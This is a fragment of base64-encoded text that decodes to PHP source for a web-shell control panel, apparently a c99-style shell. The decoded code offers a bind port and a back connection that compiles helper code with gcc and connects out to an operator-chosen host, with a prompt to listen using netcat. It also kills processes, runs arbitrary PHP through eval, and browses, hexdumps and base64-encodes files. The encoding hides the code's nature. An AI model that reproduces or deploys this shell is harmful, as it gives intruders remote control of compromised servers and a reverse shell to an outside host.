jt9DQogICBlbHNlDQogICB7DQogICAgJHNyY3BhdGggPSAkdG1wZGlyLiRiY1sic3JjIl07DQogICAgJHcgPSBleHBsb2RlKCIuIiwkYmNbInNyYyJdKTsNCiAgICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOw0KICAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7DQogICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KTsNCiAgICBpZiAoJGV4dCA9PSAicGwiKSB7JGJpbnBhdGggPSAkc3JjcGF0aDt9DQogICAgQHVubGluaygkc3JjcGF0aCk7DQogICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOw0KICAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3Qgd3JpdGUgc291cmNlcyB0byBcIiIuJHNyY3BhdGguIlwiITxicj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJGJuZHNyY3NbJGJpbmRbc3JjXV0pOw0KICAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVob3N0IiwkYmNbImhvc3QiXSwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmNbInBvcnQiXSwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOw0KICAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOw0KICAgICBlY2hvICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJGJjWyJob3N0Il0uIjoiLiRiY1sicG9ydCJdLiIuLi48YnI+IjsNCiAgICB9DQogICB9DQogIH0NCiAgPz48Yj5CaW5kaW5nIHBvcnQ6PC9iPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImJpbmQiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+UG9ydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJpbmRbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBvcnQiXSk7ID8+Ij4mbmJzcDtQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJpbmRbcGFzc10iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBhc3MiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJpbmRbc3JjXSI+PD9waHANCmZvcmVhY2goJGJuZHBvcnRzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmluZFsic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQ0KPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJiaW5kc3VibWl0IiB2YWx1ZT0iQmluZCI+PC9mb3JtPg0KPGI+QmFjayBjb25uZWN0aW9uOjwvYj48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJiaW5kIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiY1tob3N0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSk7ID8+Ij4mbmJzcDtQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYmNbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJwb3J0Il0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJiY1tzcmNdIj48P3BocA0KZm9yZWFjaCgkYmNzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmNbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30NCj8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmNzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L2Zvcm0+DQpDbGljayAiQ29ubmVjdCIgb25seSBhZnRlciBvcGVuIHBvcnQgZm9yIGl0LiBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biAiPGI+bmMgLWwgLW4gLXYgLXAgJmx0O3BvcnQmZ3Q7PC9iPiIhPD9waHANCiB9DQp9DQppZiAoJGFjdCA9PSAicHNfYXV4IikNCnsNCiBlY2hvICI8Yj5Qcm9jZXNzZXM6PC9iPjxicj4iOw0KIGlmICgkd2luKSB7ZWNobyAiVGhpcyBmdW5jdGlvbiBub3Qgd29yayBpbiBXaW5kb3dzITxicj48YnI+Ijt9DQogZWxzZQ0KIHsNCiAgaWYgKCRwaWQpDQogIHsNCiAgIGlmICghJHNpZykgeyRzaWcgPSA5O30NCiAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOw0KICAgJHJldCA9IHBvc2l4X2tpbGwoJHBpZCwkc2lnKTsNCiAgIGlmICgkcmV0KSB7ZWNobyAib2suIGhlIGlzIGRlYWQsIGFtZW4uIjt9DQogICBlbHNlIHtlY2hvICJFUlJPUi4iO30NCiAgfQ0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoInBzIC1hdXgiKTsNCiAgaWYgKCEkcmV0KSB7ZWNobyAiQ2FuJ3QgZXhlY3V0ZSBcInBzIC1hdXhcIiEiO30NCiAgZWxzZQ0KICB7DQogICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsNCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOw0KICAgdW5zZXQoJHN0YWNrWzBdKTsNCiAgIGlmIChlbXB0eSgkcHNfYXV4X3NvcnQpKSB7JHBzX2F1eF9zb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQogICBpZiAoIWlzX251bWVyaWMoJHBzX2F1eF9zb3J0WzBdKSkgeyRwc19hdXhfc29ydFswXSA9IDA7fQ0KICAgJGsgPSAkcHNfYXV4X3NvcnRbMF07DQogICBpZiAoJHBzX2F1eF9zb3J0WzFdICE9ICJhIikgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwc19hdXhfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2Rlc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9DQogICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHNfYXV4X3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9DQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykNCiAgIHsNCiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnBzX2F1eF9zb3J0PSIuJGkuJHBzX2F1eF9zb3J0WzFdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30NCiAgIH0NCiAgICRwcmNzID0gYXJyYXkoKTsNCiAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkNCiAgIHsNCiAgICBpZiAoIWVtcHR5KCRsaW5lKSkNCgl7DQoJIGVjaG8gIjx0cj4iOw0KICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgJGxpbmVbMTBdID0gam9pbigiICIsYXJyYXlfc2xpY2UoJGxpbmUsMTAsY291bnQoJGxpbmUpKSk7DQogICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7DQogICAgIGlmICgkbGluZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+Ii4kbGluZVswXS4iPC9mb250PiI7fQ0KICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHNfYXV4JmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7DQogICAgICRwcmNzW10gPSAkbGluZTsNCiAgICAgZWNobyAiPC90cj4iOw0KICAgIH0NCiAgIH0NCiAgICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7DQogICAkaGVhZFtdID0gIjxiPkFDVElPTjwvYj4iOw0KICAgJHYgPSAkcHNfYXV4X3NvcnRbMF07DQogICB1c29ydCgkcHJjcywidGFic29ydCIpOw0KICAgaWYgKCRwc19hdXhfc29ydFsxXSA9PSAiZCIpIHskcHJjcyA9IGFycmF5X3JldmVyc2UoJHByY3MpO30NCiAgICR0YWIgPSBhcnJheSgpOw0KICAgJHRhYltdID0gJGhlYWQ7DQogICAkdGFiID0gYXJyYXlfbWVyZ2UoJHRhYiwkcHJjcyk7DQogICBlY2hvICI8VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9XCIjQzBDMEMwXCI+IjsNCiAgIGZvcmVhY2goJHRhYiBhcyAkaykNCiAgIHsNCiAgICBlY2hvICI8dHI+IjsNCiAgICBmb3JlYWNoKCRrIGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9DQogICAgZWNobyAiPC90cj4iOw0KICAgfQ0KICAgZWNobyAiPC90YWJsZT4iOw0KICB9DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImV2YWwiKQ0Kew0KIGlmICghZW1wdHkoJGV2YWwpKQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIFBIUC1jb2RlPC9iPjo8YnI+IjsNCiAgJHRtcCA9IG9iX2dldF9jb250ZW50cygpOw0KICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgQGNoZGlyKCRkKTsNCiAgaWYgKCR0bXApDQogIHsNCiAgIG9iX2NsZWFuKCk7DQogICBldmFsKCRldmFsKTsNCiAgICRyZXQgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgIG9iX2NsZWFuKCk7DQogICBlY2hvICR0bXA7DQogICBpZiAoJGV2YWxfdHh0KQ0KICAgew0KICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7DQogICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7DQogICB9DQogICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgfQ0KICBlbHNlDQogIHsNCiAgIGlmICgkZXZhbF90eHQpDQogICB7DQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+IjsNCiAgICBldmFsKCRldmFsKTsNCiAgICBlY2hvICI8L3RleHRhcmVhPiI7DQogICB9DQogICBlbHNlIHtlY2hvICRyZXQ7fQ0KICB9DQogIEBjaGRpcigkb2xkZGlyKTsNCiB9DQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIFBIUC1jb2RlPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gdHJ1ZTt9fQ0KIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dGV4dGFyZWEgbmFtZT1cImV2YWxcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRldmFsKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJldmFsX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRldmFsX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsNCn0NCmlmICgkYWN0ID09ICJmIikNCnsNCiBpZiAoKCFpc19yZWFkYWJsZSgkZC4kZikgb3IgaXNfZGlyKCRkLiRmKSkgYW5kICRmdCAhPSAiZWRpdCIpDQogew0KICBpZiAoZmlsZV9leGlzdHMoJGQuJGYpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJtaXNpb24gZGVuaWVkICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvYj48L2NlbnRlcj4iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5GaWxlIGRvZXMgbm90IGV4aXN0cyAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PGJyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIiZjPTFcIj48dT5DcmVhdGU8L3U+PC9hPjwvY2VudGVyPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICRleHQgPSBleHBsb2RlKCIuIiwkZik7DQogICRjID0gY291bnQoJGV4dCktMTsNCiAgJGV4dCA9ICRleHRbJGNdOw0KICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgJHJmdCA9ICIiOw0KICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQ0KICBpZiAoZXJlZ2koInNlc3NfKC4qKSIsJGYpKSB7JHJmdCA9ICJwaHBzZXNzIjt9DQogIGlmIChlbXB0eSgkZnQpKSB7JGZ0ID0gJHJmdDt9DQogICRhcnIgPSBhcnJheSgNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBib3JkZXI9XCIwXCI+IiwiaW5mbyIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2h0bWxcIiBib3JkZXI9XCIwXCI+IiwiaHRtbCIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3R4dFwiIGJvcmRlcj1cIjBcIj4iLCJ0eHQiKSwNCiAgIGFycmF5KCJDb2RlIiwiY29kZSIpLA0KICAgYXJyYXkoIlNlc3Npb24iLCJwaHBzZXNzIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZXhlXCIgYm9yZGVyPVwiMFwiPiIsImV4ZSIpLA0KICAgYXJyYXkoIlNEQiIsInNkYiIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2dpZlwiIGJvcmRlcj1cIjBcIj4iLCJpbWciKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwiaW5pIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGJvcmRlcj1cIjBcIj4iLCJkb3dubG9hZCIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3J0ZlwiIGJvcmRlcj1cIjBcIj4iLCJub3RlcGFkIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBib3JkZXI9XCIwXCI+IiwiZWRpdCIpDQogICk7DQogIGVjaG8gIjxiPlZpZXdpbmcgZmlsZTombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF8iLiRleHQuIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRmLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIikgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9iPjxicj5TZWxlY3QgYWN0aW9uL2ZpbGUtdHlwZTo8YnI+IjsNCiAgZm9yZWFjaCgkYXJyIGFzICR0KQ0KICB7DQogICBpZiAoJHRbMV0gPT0gJHJmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxmb250IGNvbG9yPVwiZ3JlZW5cIj4iLiR0WzBdLiI8L2ZvbnQ+PC9hPiI7fQ0KICAgZWxzZWlmICgkdFsxXSA9PSAkZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj48dT4iLiR0WzBdLiI8L3U+PC9iPjwvYT4iO30NCiAgIGVsc2Uge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIuJHRbMF0uIjwvYj48L2E+Ijt9DQogICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgfCI7DQogIH0NCiAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICBpZiAoJGZ0ID09ICJpbmZvIikNCiAgew0KICAgZWNobyAiPGI+SW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Yj5QYXRoPC9iPjwvdGQ+PHRkPiAiLiRkLiRmLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPiAiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NRDU8L2I+PC90ZD48dGQ+ICIubWQ1X2ZpbGUoJGQuJGYpLiI8L3RkPjwvdHI+IjsNCiAgIGlmICghJHdpbikNCiAgIHsNCiAgICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOyAgICAgIA0KICAgICR0bXAgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsNCiAgICBpZiAoJHRtcFsibmFtZSJdID09ICIiKSB7ZWNobyBmaWxlb3duZXIoJGQuJGYpLiIvIjt9DQogICAgZWxzZSB7ZWNobyAkdG1wWyJuYW1lIl0uIi8iO30NCiAgICAkdG1wID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkLiRmKSk7DQogICAgaWYgKCR0bXBbIm5hbWUiXSA9PSAiIikge2VjaG8gZmlsZWdyb3VwKCRkLiRmKTt9DQogICAgZWxzZSB7ZWNobyAkdG1wWyduYW1lJ107fQ0KICAgfQ0KICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii51cmxlbmNvZGUoJGYpLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPiIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOw0KICAgaWYgKCRmaSkNCiAgIHsNCiAgICBpZiAoJGZ1bGxoZXhkdW1wKSB7ZWNobyAiPGI+RlVMTCBIRVhEVU1QPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTt9DQogICAgZWxzZSB7ZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fQ0KICAgICRuID0gMDsNCiAgICAkYTAgPSAiMDAwMDAwMDA8YnI+IjsNCiAgICAkYTEgPSAiIjsNCiAgICAkYTIgPSAiIjsNCiAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkc3RyKTsgJGkrKykNCiAgICB7DQogICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7DQogICAgIHN3aXRjaCAob3JkKCRzdHJbJGldKSkNCiAgICAgew0KICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOw0KICAgICAgY2FzZSAzMjogDQogICAgICBjYXNlIDEwOg0KICAgICAgY2FzZSAxMzogJGEyIC49ICImbmJzcDsiOyBicmVhazsNCiAgICAgIGRlZmF1bHQ6ICRhMiAuPSBodG1sc3BlY2lhbGNoYXJzKCRzdHJbJGldKTsNCiAgICAgfQ0KICAgICAkbisrOw0KICAgICBpZiAoJG4gPT0gJGhleGR1bXBfcm93cykNCiAgICAgew0KICAgICAgJG4gPSAwOw0KICAgICAgaWYgKCRpKzEgPCBzdHJsZW4oJHN0cikpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkrMSkuIjxicj4iO30NCiAgICAgICRhMSAuPSAiPGJyPiI7DQogICAgICAkYTIgLj0gIjxicj4iOw0KICAgICB9DQogICAgfQ0KICAgIC8vaWYgKCRhMSAhPSAiIikgeyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSkuIjxicj4iO30NCiAgICBlY2hvICI8dGFibGUgYm9yZGVyPTAgYmdjb2xvcj0jNjY2NjY2IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9ND48dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iLiRhMC4iPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+Ii4kYTEuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGEyLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgIH0NCiAgICRlbmNvZGVkID0gIiI7DQogICBpZiAoJGJhc2U2NCA9PSAxKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGU8L2I+PGJyPiI7DQogICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7DQogICB9DQogICBlbHNlaWYoJGJhc2U2NCA9PSAyKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKSk7DQogICB9DQogICBlbHNlaWYoJGJhc2U2NCA9PSAzKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuayArIFF1b3RlczwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgICAkZW5jb2RlZCA9IHN1YnN0cihwcmVnX3JlcGxhY2UoIiEuezEsNzZ9ISIsIidcXDAnLlxuIiwkZW5jb2RlZCksMCwtMik7DQogICB9DQogICBlbHNlaWYoJGJhc2U2NCA9PSA0KQ0KICAgew0KICAgICR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICRlbmNvZGVkID0gYmFzZTY0X2RlY29kZSgkdGV4dCk7DQogICAgZWNobyAiPGI+QmFzZTY0IERlY29kZSI7DQogICAgaWYgKGJhc2U2NF9lbmNvZGUoJGVuY29kZWQpICE9ICR0ZXh0KSB7ZWNobyAiIChmYWlsZWQpIjt9DQogICAgZWNobyAiPC9iPjxicj4iOw0KICAgfQ0KICAgaWYgKCFlbXB0eSgkZW5jb2RlZCkpDQogICB7DQogICAgZWNobyAiPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZWQpLiI8L3RleHRhcmVhPjxicj48YnI+IjsNCiAgIH0NCiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZD0iLnVybGVuY29kZSgkZCkuIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwvYj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5FbmNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4NCjxub2